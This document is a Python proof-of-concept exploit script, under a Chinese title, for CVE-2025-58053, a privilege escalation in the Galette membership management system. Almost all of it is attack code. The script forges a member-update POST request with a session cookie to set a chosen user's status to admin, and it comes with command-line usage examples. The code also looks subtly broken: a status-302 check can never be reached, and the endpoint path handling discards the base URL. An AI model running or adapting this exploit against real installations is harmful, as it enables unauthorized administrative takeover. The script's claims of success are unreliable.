CVE-2025-58053 Galette会员管理系统权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-58053 PoC - Galette Privilege Escalation Galette < 1.2.0 - Privilege Escalation via forged POST request """ import requests import sys from urllib.parse import urljoin def exploit_galette(target_url, target_user_id, attacker_session): """ Exploit Galette privilege escalation vulnerability Args: target_url: Base URL of Galette installation target_user_id: ID of the user to escalate privileges attacker_session: Valid session cookie of authenticated attacker """ # Account update endpoint update_endpoint = urljoin(target_url, "/galette/members/update") # Malicious POST request with admin role # The vulnerability allows modifying any user's role via forged request payload = { "id_adh": target_user_id, "login_adh": "target_user", "nom_adh": "Target", "prenom_adh": "User", "email_adh": "[email protected]", # Privilege escalation - set user as admin "group_id": [], "statut_adh": "admin", # Key parameter for privilege escalation "action": "save" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"galette={attacker_session}" } print(f"[*] Target: {target_url}") print(f"[*] Target User ID: {target_user_id}") print(f"[*] Sending privilege escalation payload...") try: response = requests.post(update_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: if "success" in response.text.lower() or response.status_code == 302: print("[+] Privilege escalation successful!") print("[+] Target user should now have admin privileges") return True else: print("[-] Request sent but privilege escalation may have failed") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def main(): if len(sys.argv) < 4: print("Usage: python3 cve_2025_58053_poc.py <target_url> <target_user_id> <session_cookie>") print("Example: python3 cve_2025_58053_poc.py http://localhost:8080/galette 1 abc123session") sys.exit(1) target_url = sys.argv[1] target_user_id = sys.argv[2] session = sys.argv[3] exploit_galette(target_url, target_user_id, session) if __name__ == "__main__": main()